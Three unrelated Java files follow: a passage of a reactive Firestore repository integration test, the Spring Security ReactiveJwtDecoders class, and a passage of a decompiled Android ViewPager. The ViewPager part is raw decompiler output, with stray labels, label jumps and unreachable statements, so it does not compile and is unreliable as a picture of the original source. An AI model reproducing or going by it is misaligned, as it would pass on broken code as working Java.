System.getProperty("it.firestore"), is("true"));
}
@Before
public void cleanTestEnvironment() {
this.userRepository.deleteAll().block();
reset(this.transactionManager);
}
@Test
public void countTest() {
Flux<User> users = Flux.fromStream(IntStream.range(1, 10).boxed())
.map(n -> new User("blah-person" + n, n));
this.userRepository.saveAll(users).blockLast();
long count = this.userRepository.countByAgeIsGreaterThan(5).block();
assertThat(count).isEqualTo(4);
}
@Test
//tag::repository_built_in[]
public void writeReadDeleteTest() {
List<User.Address> addresses = Arrays.asList(new User.Address("123 Alice st", "US"),
new User.Address("1 Alice ave", "US"));
User.Address homeAddress = new User.Address("10 Alice blvd", "UK");
User alice = new User("Alice", 29, null, addresses, homeAddress);
User bob = new User("Bob", 60);
this.userRepository.save(alice).block();
this.userRepository.save(bob).block();
assertThat(this.userRepository.count().block()).isEqualTo(2);
assertThat(this.userRepository.findAll().map(User::getName).collectList().block())
.containsExactlyInAnyOrder("Alice", "Bob");
User aliceLoaded = this.userRepository.findById("Alice").block();
assertThat(aliceLoaded.getAddresses()).isEqualTo(addresses);
assertThat(aliceLoaded.getHomeAddress()).isEqualTo(homeAddress);
// cast to SimpleFirestoreReactiveRepository for method be reachable with Spring Boot 2.4
SimpleFirestoreReactiveRepository repository = AopTestUtils.getTargetObject(this.userRepository);
StepVerifier.create(repository.deleteAllById(Arrays.asList("Alice", "Bob")).then(this.userRepository.count()))
.expectNext(0L).verifyComplete();
}
//end::repository_built_in[]
@Test
public void transactionalOperatorTest() {
//tag::repository_transactional_operator[]
DefaultTransactionDefinition transactionDefinition = new DefaultTransactionDefinition();
transactionDefinition.setReadOnly(false);
TransactionalOperator operator = TransactionalOperator.create(this.txManager, transactionDefinition);
//end::repository_transactional_operator[]
//tag::repository_operations_in_a_transaction[]
User alice = new User("Alice", 29);
User bob = new User("Bob", 60);
this.userRepository.save(alice)
.then(this.userRepository.save(bob))
.as(operator::transactional)
.block();
this.userRepository.findAll()
.flatMap(a -> {
a.setAge(a.getAge() - 1);
return this.userRepository.save(a);
})
.as(operator::transactional).collectList().block();
assertThat(this.userRepository.findAll().map(User::getAge).collectList().block())
.containsExactlyInAnyOrder(28, 59);
//end::repository_operations_in_a_transaction[]
}
@Test
//tag::repository_part_tree[]
public void partTreeRepositoryMethodTest() {
User u1 = new User("Cloud", 22, null, null, new Address("1 First st., NYC", "USA"));
u1.favoriteDrink = "tea";
User u2 = new User("Squall", 17, Arrays.asList("cat", "dog"), null, new Address("2 Second st., London", "UK"));
u2.favoriteDrink = "wine";
Flux<User> users = Flux.fromArray(new User[] {u1, u2});
this.userRepository.saveAll(users).blockLast();
assertThat(this.userRepository.count().block()).isEqualTo(2);
assertThat(this.userRepository.findBy(PageRequest.of(0, 10)).collectList().block()).containsExactly(u1, u2);
assertThat(this.userRepository.findByAge(22).collectList().block()).containsExactly(u1);
assertThat(this.userRepository.findByAgeNot(22).collectList().block()).containsExactly(u2);
assertThat(this.userRepository.findByHomeAddressCountry("USA").collectList().block()).containsExactly(u1);
assertThat(this.userRepository.findByFavoriteDrink("wine").collectList().block()).containsExactly(u2);
assertThat(this.userRepository.findByAgeGreaterThanAndAgeLessThan(20, 30).collectList().block())
.containsExactly(u1);
assertThat(this.userRepository.findByAgeGreaterThan(10).collectList().block()).containsExactlyInAnyOrder(u1,
u2);
assertThat(this.userRepository.findByNameAndAge("Cloud", 22).collectList().block())
.containsExactly(u1);
assertThat(this.userRepository.findByNameAndPetsContains("Squall", Collections.singletonList("cat")).collectList().block()).containsExactly(u2);
}
//end::repository_part_tree[]
@Test
public void pageableQueryTest() {
Flux<User> users = Flux.fromStream(IntStream.range(1, 11).boxed())
.map(n -> new User("blah-person" + n, n));
this.userRepository.saveAll(users).blockLast();
PageRequest pageRequest = PageRequest.of(2, 3, Sort.by(Order.desc("age")));
List<String> pagedUsers = this.userRepository.findByAgeGreaterThan(0, pageRequest)
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactlyInAnyOrder(
"blah-person4", "blah-person3", "blah-person2");
}
@Test
public void sortQueryTest() {
Flux<User> users = Flux.fromStream(IntStream.range(1, 11).boxed())
.map(n -> new User("blah-person" + n, n));
this.userRepository.saveAll(users).blockLast();
List<String> pagedUsers = this.userRepository
.findByAgeGreaterThan(7, Sort.by(Order.asc("age")))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactlyInAnyOrder(
"blah-person8", "blah-person9", "blah-person10");
}
@Test
public void testOrderBy() {
User alice = new User("Alice", 99);
User bob = new User("Bob", 99);
User zelda = new User("Zelda", 99);
User claire = new User("Claire", 80);
User dave = new User("Dave", 70);
Flux<User> users = Flux.fromArray(new User[] { alice, bob, zelda, claire, dave });
this.userRepository.saveAll(users).blockLast();
StepVerifier.create(
this.userRepository.findByAge(99, Sort.by(Order.desc("name"))).map(User::getName))
.expectNext("Zelda", "Bob", "Alice")
.verifyComplete();
StepVerifier.create(
this.userRepository.findByAgeOrderByNameDesc(99).map(User::getName)).expectNext("Zelda", "Bob", "Alice")
.verifyComplete();
StepVerifier.create(
this.userRepository.findAllByOrderByAge().map(User::getName))
.expectNext("Dave", "Claire", "Alice", "Bob", "Zelda")
.verifyComplete();
}
@Test
public void inFilterQueryTest() {
User u1 = new User("Cloud", 22);
User u2 = new User("Squall", 17);
Flux<User> users = Flux.fromArray(new User[] {u1, u2});
this.userRepository.saveAll(users).blockLast();
List<String> pagedUsers = this.userRepository.findByAgeIn(Arrays.asList(22, 23, 24))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactly("Cloud");
pagedUsers = this.userRepository.findByAgeIn(Arrays.asList(17, 22))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactly("Cloud", "Squall");
pagedUsers = this.userRepository.findByAgeIn(Arrays.asList(18, 23))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).isEmpty();
pagedUsers = this.userRepository.findByAgeNotIn(Arrays.asList(17, 22, 33))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).isEmpty();
pagedUsers = this.userRepository.findByAgeNotIn(Arrays.asList(10, 20, 30))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactlyInAnyOrder("Cloud", "Squall");
pagedUsers = this.userRepository.findByAgeNotIn(Arrays.asList(17, 33))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactly("Cloud");
}
@Test
public void containsFilterQueryTest() {
User u1 = new User("Cloud", 22, Arrays.asList("cat", "dog"));
User u2 = new User("Squall", 17, Collections.singletonList("pony"));
Flux<User> users = Flux.fromArray(new User[] {u1, u2});
this.userRepository.saveAll(users).blockLast();
List<String> pagedUsers = this.userRepository.findByPetsContains(Arrays.asList("cat", "dog"))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactly("Cloud");
pagedUsers = this.userRepository.findByPetsContains(Arrays.asList("cat", "pony"))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactlyInAnyOrder("Cloud", "Squall");
pagedUsers = this.userRepository.findByAgeAndPetsContains(17, Arrays.asList("cat", "pony"))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactlyInAnyOrder("Squall");
pagedUsers = this.userRepository.findByPetsContainsAndAgeIn("cat", Arrays.asList(22, 23))
.map(User::getName)
.collectList()
.block();
assertThat(pagedUsers).containsExactlyInAnyOrder("Cloud");
}
@Test
public void declarativeTransactionRollbackTest() {
this.userService.deleteUsers().onErrorResume(throwable -> Mono.empty()).block();
verify(this.transactionManager, times(0)).commit(any());
verify(this.transactionManager, times(1)).rollback(any());
verify(this.transactionManager, times(1)).getReactiveTransaction(any());
}
@Test
public void declarativeTransactionCommitTest() {
User alice = new User("Alice", 29);
User bob = new User("Bob", 60);
this.userRepository.save(alice).then(this.userRepository.save(bob)).block();
this.userService.updateUsers().block();
verify(this.transactionManager, times(1)).commit(any());
verify(this.transactionManager, times(0)).rollback(any());
verify(this.transactionManager, times(1)).getReactiveTransaction(any());
assertThat(this.userRepository.findAll().map(User::getAge).collectList().block())
.containsExactlyInAnyOrder(28, 59);
}
@Test
public void transactionPropagationTest() {
User alice = new User("Alice", 29);
User bob = new User("Bob", 60);
this.userRepository.save(alice).then(this.userRepository.save(bob)).block();
this.userService.updateUsersTransactionPropagation().block();
verify(this.transactionManager, times(1)).commit(any());
verify(this.transactionManager, times(0)).rollback(any());
verify(this.transactionManager, times(1)).getReactiveTransaction(any());
assertThat(this.userRepository.findAll().map(User::getAge).collectList().block())
.containsExactlyInAnyOrder(28, 59);
}
@Test
public void testDoubleSub() {
User alice = new User("Alice", 29);
User bob = new User("Bob", 60);
this.userRepository.save(alice).then(this.userRepository.save(bob)).block();
Mono<User> aUser = this.userRepository.findByAge(29).next();
Flux<String> stringFlux = userRepository.findAll()
.flatMap(user ->
aUser.flatMap(user1 -> Mono.just(user.getName() + " " + user1.getName())));
List<String> list = stringFlux.collectList().block();
assertThat(list).contains("Alice Alice", "Bob Alice");
}
}
|
/*
* Copyright 2002-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.security.oauth2.jwt;
import java.util.Map;
import org.springframework.security.oauth2.core.OAuth2TokenValidator;
import org.springframework.util.Assert;
/**
* Allows creating a {@link ReactiveJwtDecoder} from an <a href=
* "https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfig">OpenID
* Provider Configuration</a> or
* <a href="https://tools.ietf.org/html/rfc8414#section-3.1">Authorization Server Metadata
* Request</a> based on provided issuer and method invoked.
*
* @author Josh Cummings
* @since 5.1
*/
public final class ReactiveJwtDecoders {
private ReactiveJwtDecoders() {
}
/**
* Creates a {@link ReactiveJwtDecoder} using the provided <a href=
* "https://openid.net/specs/openid-connect-core-1_0.html#IssuerIdentifier">Issuer</a>
* by making an <a href=
* "https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationRequest">OpenID
* Provider Configuration Request</a> and using the values in the <a href=
* "https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationResponse">OpenID
* Provider Configuration Response</a> to initialize the {@link ReactiveJwtDecoder}.
* @param oidcIssuerLocation the <a href=
* "https://openid.net/specs/openid-connect-core-1_0.html#IssuerIdentifier">Issuer</a>
* @return a {@link ReactiveJwtDecoder} that was initialized by the OpenID Provider
* Configuration.
*/
public static ReactiveJwtDecoder fromOidcIssuerLocation(String oidcIssuerLocation) {
Assert.hasText(oidcIssuerLocation, "oidcIssuerLocation cannot be empty");
Map<String, Object> configuration = JwtDecoderProviderConfigurationUtils
.getConfigurationForOidcIssuerLocation(oidcIssuerLocation);
return withProviderConfiguration(configuration, oidcIssuerLocation);
}
/**
* Creates a {@link ReactiveJwtDecoder} using the provided <a href=
* "https://openid.net/specs/openid-connect-core-1_0.html#IssuerIdentifier">Issuer</a>
* by querying three different discovery endpoints serially, using the values in the
* first successful response to initialize. If an endpoint returns anything other than
* a 200 or a 4xx, the method will exit without attempting subsequent endpoints.
*
* The three endpoints are computed as follows, given that the {@code issuer} is
* composed of a {@code host} and a {@code path}:
*
* <ol>
* <li>{@code host/.well-known/openid-configuration/path}, as defined in
* <a href="https://tools.ietf.org/html/rfc8414#section-5">RFC 8414's Compatibility
* Notes</a>.</li>
* <li>{@code issuer/.well-known/openid-configuration}, as defined in <a href=
* "https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationRequest">
* OpenID Provider Configuration</a>.</li>
* <li>{@code host/.well-known/oauth-authorization-server/path}, as defined in
* <a href="https://tools.ietf.org/html/rfc8414#section-3.1">Authorization Server
* Metadata Request</a>.</li>
* </ol>
*
* Note that the second endpoint is the equivalent of calling
* {@link ReactiveJwtDecoders#fromOidcIssuerLocation(String)}
* @param issuer the <a href=
* "https://openid.net/specs/openid-connect-core-1_0.html#IssuerIdentifier">Issuer</a>
* @return a {@link ReactiveJwtDecoder} that was initialized by one of the described
* endpoints
*/
public static ReactiveJwtDecoder fromIssuerLocation(String issuer) {
Assert.hasText(issuer, "issuer cannot be empty");
Map<String, Object> configuration = JwtDecoderProviderConfigurationUtils
.getConfigurationForIssuerLocation(issuer);
return withProviderConfiguration(configuration, issuer);
}
/**
* Build {@link ReactiveJwtDecoder} from <a href=
* "https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationResponse">OpenID
* Provider Configuration Response</a> and
* <a href="https://tools.ietf.org/html/rfc8414#section-3.2">Authorization Server
* Metadata Response</a>.
* @param configuration the configuration values
* @param issuer the <a href=
* "https://openid.net/specs/openid-connect-core-1_0.html#IssuerIdentifier">Issuer</a>
* @return {@link ReactiveJwtDecoder}
*/
private static ReactiveJwtDecoder withProviderConfiguration(Map<String, Object> configuration, String issuer) {
JwtDecoderProviderConfigurationUtils.validateIssuer(configuration, issuer);
OAuth2TokenValidator<Jwt> jwtValidator = JwtValidators.createDefaultWithIssuer(issuer);
String jwkSetUri = configuration.get("jwks_uri").toString();
NimbusReactiveJwtDecoder jwtDecoder = NimbusReactiveJwtDecoder.withJwkSetUri(jwkSetUri)
.jwtProcessorCustomizer(ReactiveJwtDecoderProviderConfigurationUtils::addJWSAlgorithms).build();
jwtDecoder.setJwtValidator(jwtValidator);
return jwtDecoder;
}
}
|
package android.support.v4.view;
import android.content.Context;
import android.content.res.Resources;
import android.content.res.Resources.NotFoundException;
import android.content.res.TypedArray;
import android.database.DataSetObserver;
import android.graphics.Canvas;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.os.Build.VERSION;
import android.os.Bundle;
import android.os.Parcel;
import android.os.Parcelable;
import android.os.Parcelable.Creator;
import android.os.SystemClock;
import android.support.annotation.CallSuper;
import android.support.annotation.DrawableRes;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.v4.os.ParcelableCompat;
import android.support.v4.os.ParcelableCompatCreatorCallbacks;
import android.support.v4.view.accessibility.AccessibilityEventCompat;
import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat;
import android.support.v4.view.accessibility.AccessibilityRecordCompat;
import android.support.v4.widget.EdgeEffectCompat;
import android.util.AttributeSet;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.FocusFinder;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.SoundEffectConstants;
import android.view.VelocityTracker;
import android.view.View;
import android.view.View.MeasureSpec;
import android.view.ViewConfiguration;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
import android.view.ViewParent;
import android.view.accessibility.AccessibilityEvent;
import android.view.animation.Interpolator;
import android.widget.Scroller;
import java.lang.annotation.Annotation;
import java.lang.annotation.Inherited;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
public class ViewPager
extends ViewGroup
{
private static final int CLOSE_ENOUGH = 2;
private static final Comparator<ItemInfo> COMPARATOR = new Comparator()
{
public int compare(ViewPager.ItemInfo paramAnonymousItemInfo1, ViewPager.ItemInfo paramAnonymousItemInfo2)
{
return paramAnonymousItemInfo1.position - paramAnonymousItemInfo2.position;
}
};
private static final boolean DEBUG = false;
private static final int DEFAULT_GUTTER_SIZE = 16;
private static final int DEFAULT_OFFSCREEN_PAGES = 1;
private static final int DRAW_ORDER_DEFAULT = 0;
private static final int DRAW_ORDER_FORWARD = 1;
private static final int DRAW_ORDER_REVERSE = 2;
private static final int INVALID_POINTER = -1;
private static final int[] LAYOUT_ATTRS = { 16842931 };
private static final int MAX_SETTLE_DURATION = 600;
private static final int MIN_DISTANCE_FOR_FLING = 25;
private static final int MIN_FLING_VELOCITY = 400;
public static final int SCROLL_STATE_DRAGGING = 1;
public static final int SCROLL_STATE_IDLE = 0;
public static final int SCROLL_STATE_SETTLING = 2;
private static final String TAG = "ViewPager";
private static final boolean USE_CACHE = false;
private static final Interpolator sInterpolator = new Interpolator()
{
public float getInterpolation(float paramAnonymousFloat)
{
paramAnonymousFloat -= 1.0F;
return paramAnonymousFloat * paramAnonymousFloat * paramAnonymousFloat * paramAnonymousFloat * paramAnonymousFloat + 1.0F;
}
};
private static final ViewPositionComparator sPositionComparator = new ViewPositionComparator();
private int mActivePointerId = -1;
private PagerAdapter mAdapter;
private List<OnAdapterChangeListener> mAdapterChangeListeners;
private int mBottomPageBounds;
private boolean mCalledSuper;
private int mChildHeightMeasureSpec;
private int mChildWidthMeasureSpec;
private int mCloseEnough;
private int mCurItem;
private int mDecorChildCount;
private int mDefaultGutterSize;
private int mDrawingOrder;
private ArrayList<View> mDrawingOrderedChildren;
private final Runnable mEndScrollRunnable = new Runnable()
{
public void run()
{
ViewPager.this.setScrollState(0);
ViewPager.this.populate();
}
};
private int mExpectedAdapterCount;
private long mFakeDragBeginTime;
private boolean mFakeDragging;
private boolean mFirstLayout = true;
private float mFirstOffset = -3.4028235E38F;
private int mFlingDistance;
private int mGutterSize;
private boolean mInLayout;
private float mInitialMotionX;
private float mInitialMotionY;
private OnPageChangeListener mInternalPageChangeListener;
private boolean mIsBeingDragged;
private boolean mIsScrollStarted;
private boolean mIsUnableToDrag;
private final ArrayList<ItemInfo> mItems = new ArrayList();
private float mLastMotionX;
private float mLastMotionY;
private float mLastOffset = Float.MAX_VALUE;
private EdgeEffectCompat mLeftEdge;
private Drawable mMarginDrawable;
private int mMaximumVelocity;
private int mMinimumVelocity;
private boolean mNeedCalculatePageOffsets = false;
private PagerObserver mObserver;
private int mOffscreenPageLimit = 1;
private OnPageChangeListener mOnPageChangeListener;
private List<OnPageChangeListener> mOnPageChangeListeners;
private int mPageMargin;
private PageTransformer mPageTransformer;
private boolean mPopulatePending;
private Parcelable mRestoredAdapterState = null;
private ClassLoader mRestoredClassLoader = null;
private int mRestoredCurItem = -1;
private EdgeEffectCompat mRightEdge;
private int mScrollState = 0;
private Scroller mScroller;
private boolean mScrollingCacheEnabled;
private Method mSetChildrenDrawingOrderEnabled;
private final ItemInfo mTempItem = new ItemInfo();
private final Rect mTempRect = new Rect();
private int mTopPageBounds;
private int mTouchSlop;
private VelocityTracker mVelocityTracker;
public ViewPager(Context paramContext)
{
super(paramContext);
initViewPager();
}
public ViewPager(Context paramContext, AttributeSet paramAttributeSet)
{
super(paramContext, paramAttributeSet);
initViewPager();
}
private void calculatePageOffsets(ItemInfo paramItemInfo1, int paramInt, ItemInfo paramItemInfo2)
{
int m = this.mAdapter.getCount();
int i = getClientWidth();
float f2;
if (i > 0)
{
f2 = this.mPageMargin / i;
if (paramItemInfo2 == null) {
break label409;
}
i = paramItemInfo2.position;
if (i < paramItemInfo1.position)
{
j = 0;
f1 = paramItemInfo2.offset + paramItemInfo2.widthFactor + f2;
i += 1;
}
}
else
{
for (;;)
{
if ((i > paramItemInfo1.position) || (j >= this.mItems.size())) {
break label409;
}
for (paramItemInfo2 = (ItemInfo)this.mItems.get(j);; paramItemInfo2 = (ItemInfo)this.mItems.get(j))
{
f3 = f1;
k = i;
if (i <= paramItemInfo2.position) {
break;
}
f3 = f1;
k = i;
if (j >= this.mItems.size() - 1) {
break;
}
j += 1;
}
f2 = 0.0F;
break;
while (k < paramItemInfo2.position)
{
f3 += this.mAdapter.getPageWidth(k) + f2;
k += 1;
}
paramItemInfo2.offset = f3;
f1 = f3 + (paramItemInfo2.widthFactor + f2);
i = k + 1;
}
}
if (i > paramItemInfo1.position)
{
j = this.mItems.size() - 1;
f1 = paramItemInfo2.offset;
i -= 1;
while ((i >= paramItemInfo1.position) && (j >= 0))
{
for (paramItemInfo2 = (ItemInfo)this.mItems.get(j);; paramItemInfo2 = (ItemInfo)this.mItems.get(j))
{
f3 = f1;
k = i;
if (i >= paramItemInfo2.position) {
break;
}
f3 = f1;
k = i;
if (j <= 0) {
break;
}
j -= 1;
}
while (k > paramItemInfo2.position)
{
f3 -= this.mAdapter.getPageWidth(k) + f2;
k -= 1;
}
f1 = f3 - (paramItemInfo2.widthFactor + f2);
paramItemInfo2.offset = f1;
i = k - 1;
}
}
label409:
int k = this.mItems.size();
float f3 = paramItemInfo1.offset;
i = paramItemInfo1.position - 1;
if (paramItemInfo1.position == 0)
{
f1 = paramItemInfo1.offset;
this.mFirstOffset = f1;
if (paramItemInfo1.position != m - 1) {
break label550;
}
f1 = paramItemInfo1.offset + paramItemInfo1.widthFactor - 1.0F;
label475:
this.mLastOffset = f1;
j = paramInt - 1;
f1 = f3;
}
for (;;)
{
if (j < 0) {
break label603;
}
paramItemInfo2 = (ItemInfo)this.mItems.get(j);
for (;;)
{
if (i > paramItemInfo2.position)
{
f1 -= this.mAdapter.getPageWidth(i) + f2;
i -= 1;
continue;
f1 = -3.4028235E38F;
break;
label550:
f1 = Float.MAX_VALUE;
break label475;
}
}
f1 -= paramItemInfo2.widthFactor + f2;
paramItemInfo2.offset = f1;
if (paramItemInfo2.position == 0) {
this.mFirstOffset = f1;
}
j -= 1;
i -= 1;
}
label603:
float f1 = paramItemInfo1.offset + paramItemInfo1.widthFactor + f2;
i = paramItemInfo1.position + 1;
int j = paramInt + 1;
paramInt = i;
i = j;
while (i < k)
{
paramItemInfo1 = (ItemInfo)this.mItems.get(i);
while (paramInt < paramItemInfo1.position)
{
f1 += this.mAdapter.getPageWidth(paramInt) + f2;
paramInt += 1;
}
if (paramItemInfo1.position == m - 1) {
this.mLastOffset = (paramItemInfo1.widthFactor + f1 - 1.0F);
}
paramItemInfo1.offset = f1;
f1 += paramItemInfo1.widthFactor + f2;
i += 1;
paramInt += 1;
}
this.mNeedCalculatePageOffsets = false;
}
private void completeScroll(boolean paramBoolean)
{
int j = 1;
int i;
if (this.mScrollState == 2)
{
i = 1;
if (i != 0)
{
setScrollingCacheEnabled(false);
if (this.mScroller.isFinished()) {
break label170;
}
}
}
for (;;)
{
if (j != 0)
{
this.mScroller.abortAnimation();
j = getScrollX();
k = getScrollY();
int m = this.mScroller.getCurrX();
int n = this.mScroller.getCurrY();
if ((j != m) || (k != n))
{
scrollTo(m, n);
if (m != j) {
pageScrolled(m);
}
}
}
this.mPopulatePending = false;
int k = 0;
j = i;
i = k;
while (i < this.mItems.size())
{
ItemInfo localItemInfo = (ItemInfo)this.mItems.get(i);
if (localItemInfo.scrolling)
{
j = 1;
localItemInfo.scrolling = false;
}
i += 1;
}
i = 0;
break;
label170:
j = 0;
}
if (j != 0)
{
if (paramBoolean) {
ViewCompat.postOnAnimation(this, this.mEndScrollRunnable);
}
}
else {
return;
}
this.mEndScrollRunnable.run();
}
private int determineTargetPage(int paramInt1, float paramFloat, int paramInt2, int paramInt3)
{
if ((Math.abs(paramInt3) > this.mFlingDistance) && (Math.abs(paramInt2) > this.mMinimumVelocity))
{
if (paramInt2 > 0) {}
for (;;)
{
paramInt2 = paramInt1;
if (this.mItems.size() > 0)
{
ItemInfo localItemInfo1 = (ItemInfo)this.mItems.get(0);
ItemInfo localItemInfo2 = (ItemInfo)this.mItems.get(this.mItems.size() - 1);
paramInt2 = Math.max(localItemInfo1.position, Math.min(paramInt1, localItemInfo2.position));
}
return paramInt2;
paramInt1 += 1;
}
}
if (paramInt1 >= this.mCurItem) {}
for (float f = 0.4F;; f = 0.6F)
{
paramInt1 += (int)(paramFloat + f);
break;
}
}
private void dispatchOnPageScrolled(int paramInt1, float paramFloat, int paramInt2)
{
if (this.mOnPageChangeListener != null) {
this.mOnPageChangeListener.onPageScrolled(paramInt1, paramFloat, paramInt2);
}
if (this.mOnPageChangeListeners != null)
{
int i = 0;
int j = this.mOnPageChangeListeners.size();
while (i < j)
{
OnPageChangeListener localOnPageChangeListener = (OnPageChangeListener)this.mOnPageChangeListeners.get(i);
if (localOnPageChangeListener != null) {
localOnPageChangeListener.onPageScrolled(paramInt1, paramFloat, paramInt2);
}
i += 1;
}
}
if (this.mInternalPageChangeListener != null) {
this.mInternalPageChangeListener.onPageScrolled(paramInt1, paramFloat, paramInt2);
}
}
private void dispatchOnPageSelected(int paramInt)
{
if (this.mOnPageChangeListener != null) {
this.mOnPageChangeListener.onPageSelected(paramInt);
}
if (this.mOnPageChangeListeners != null)
{
int i = 0;
int j = this.mOnPageChangeListeners.size();
while (i < j)
{
OnPageChangeListener localOnPageChangeListener = (OnPageChangeListener)this.mOnPageChangeListeners.get(i);
if (localOnPageChangeListener != null) {
localOnPageChangeListener.onPageSelected(paramInt);
}
i += 1;
}
}
if (this.mInternalPageChangeListener != null) {
this.mInternalPageChangeListener.onPageSelected(paramInt);
}
}
private void dispatchOnScrollStateChanged(int paramInt)
{
if (this.mOnPageChangeListener != null) {
this.mOnPageChangeListener.onPageScrollStateChanged(paramInt);
}
if (this.mOnPageChangeListeners != null)
{
int i = 0;
int j = this.mOnPageChangeListeners.size();
while (i < j)
{
OnPageChangeListener localOnPageChangeListener = (OnPageChangeListener)this.mOnPageChangeListeners.get(i);
if (localOnPageChangeListener != null) {
localOnPageChangeListener.onPageScrollStateChanged(paramInt);
}
i += 1;
}
}
if (this.mInternalPageChangeListener != null) {
this.mInternalPageChangeListener.onPageScrollStateChanged(paramInt);
}
}
private void enableLayers(boolean paramBoolean)
{
int k = getChildCount();
int i = 0;
if (i < k)
{
if (paramBoolean) {}
for (int j = 2;; j = 0)
{
ViewCompat.setLayerType(getChildAt(i), j, null);
i += 1;
break;
}
}
}
private void endDrag()
{
this.mIsBeingDragged = false;
this.mIsUnableToDrag = false;
if (this.mVelocityTracker != null)
{
this.mVelocityTracker.recycle();
this.mVelocityTracker = null;
}
}
private Rect getChildRectInPagerCoordinates(Rect paramRect, View paramView)
{
Rect localRect = paramRect;
if (paramRect == null) {
localRect = new Rect();
}
if (paramView == null) {
localRect.set(0, 0, 0, 0);
}
for (;;)
{
return localRect;
localRect.left = paramView.getLeft();
localRect.right = paramView.getRight();
localRect.top = paramView.getTop();
localRect.bottom = paramView.getBottom();
for (paramRect = paramView.getParent(); ((paramRect instanceof ViewGroup)) && (paramRect != this); paramRect = paramRect.getParent())
{
paramRect = (ViewGroup)paramRect;
localRect.left += paramRect.getLeft();
localRect.right += paramRect.getRight();
localRect.top += paramRect.getTop();
localRect.bottom += paramRect.getBottom();
}
}
}
private int getClientWidth()
{
return getMeasuredWidth() - getPaddingLeft() - getPaddingRight();
}
private ItemInfo infoForCurrentScrollPosition()
{
float f2 = 0.0F;
int i = getClientWidth();
float f1;
int k;
float f3;
float f4;
int j;
Object localObject2;
if (i > 0)
{
f1 = getScrollX() / i;
if (i > 0) {
f2 = this.mPageMargin / i;
}
k = -1;
f3 = 0.0F;
f4 = 0.0F;
j = 1;
localObject2 = null;
i = 0;
}
for (;;)
{
Object localObject3 = localObject2;
int m;
Object localObject1;
if (i < this.mItems.size())
{
localObject3 = (ItemInfo)this.mItems.get(i);
m = i;
localObject1 = localObject3;
if (j == 0)
{
m = i;
localObject1 = localObject3;
if (((ItemInfo)localObject3).position != k + 1)
{
localObject1 = this.mTempItem;
((ItemInfo)localObject1).offset = (f3 + f4 + f2);
((ItemInfo)localObject1).position = (k + 1);
((ItemInfo)localObject1).widthFactor = this.mAdapter.getPageWidth(((ItemInfo)localObject1).position);
m = i - 1;
}
}
f3 = ((ItemInfo)localObject1).offset;
f4 = ((ItemInfo)localObject1).widthFactor;
if (j == 0)
{
localObject3 = localObject2;
if (f1 < f3) {}
}
else
{
if ((f1 >= f4 + f3 + f2) && (m != this.mItems.size() - 1)) {
break label232;
}
localObject3 = localObject1;
}
}
return localObject3;
f1 = 0.0F;
break;
label232:
j = 0;
k = ((ItemInfo)localObject1).position;
f4 = ((ItemInfo)localObject1).widthFactor;
i = m + 1;
localObject2 = localObject1;
}
}
private static boolean isDecorView(@NonNull View paramView)
{
return paramView.getClass().getAnnotation(DecorView.class) != null;
}
private boolean isGutterDrag(float paramFloat1, float paramFloat2)
{
return ((paramFloat1 < this.mGutterSize) && (paramFloat2 > 0.0F)) || ((paramFloat1 > getWidth() - this.mGutterSize) && (paramFloat2 < 0.0F));
}
private void onSecondaryPointerUp(MotionEvent paramMotionEvent)
{
int i = MotionEventCompat.getActionIndex(paramMotionEvent);
if (paramMotionEvent.getPointerId(i) == this.mActivePointerId) {
if (i != 0) {
break label56;
}
}
label56:
for (i = 1;; i = 0)
{
this.mLastMotionX = paramMotionEvent.getX(i);
this.mActivePointerId = paramMotionEvent.getPointerId(i);
if (this.mVelocityTracker != null) {
this.mVelocityTracker.clear();
}
return;
}
}
private boolean pageScrolled(int paramInt)
{
if (this.mItems.size() == 0)
{
if (this.mFirstLayout) {}
do
{
return false;
this.mCalledSuper = false;
onPageScrolled(0, 0.0F, 0);
} while (this.mCalledSuper);
throw new IllegalStateException("onPageScrolled did not call superclass implementation");
}
ItemInfo localItemInfo = infoForCurrentScrollPosition();
int j = getClientWidth();
int k = this.mPageMargin;
float f = this.mPageMargin / j;
int i = localItemInfo.position;
f = (paramInt / j - localItemInfo.offset) / (localItemInfo.widthFactor + f);
paramInt = (int)((j + k) * f);
this.mCalledSuper = false;
onPageScrolled(i, f, paramInt);
if (!this.mCalledSuper) {
throw new IllegalStateException("onPageScrolled did not call superclass implementation");
}
return true;
}
private boolean performDrag(float paramFloat)
{
boolean bool3 = false;
boolean bool2 = false;
boolean bool1 = false;
float f1 = this.mLastMotionX;
this.mLastMotionX = paramFloat;
float f2 = getScrollX() + (f1 - paramFloat);
int k = getClientWidth();
paramFloat = k * this.mFirstOffset;
f1 = k * this.mLastOffset;
int i = 1;
int j = 1;
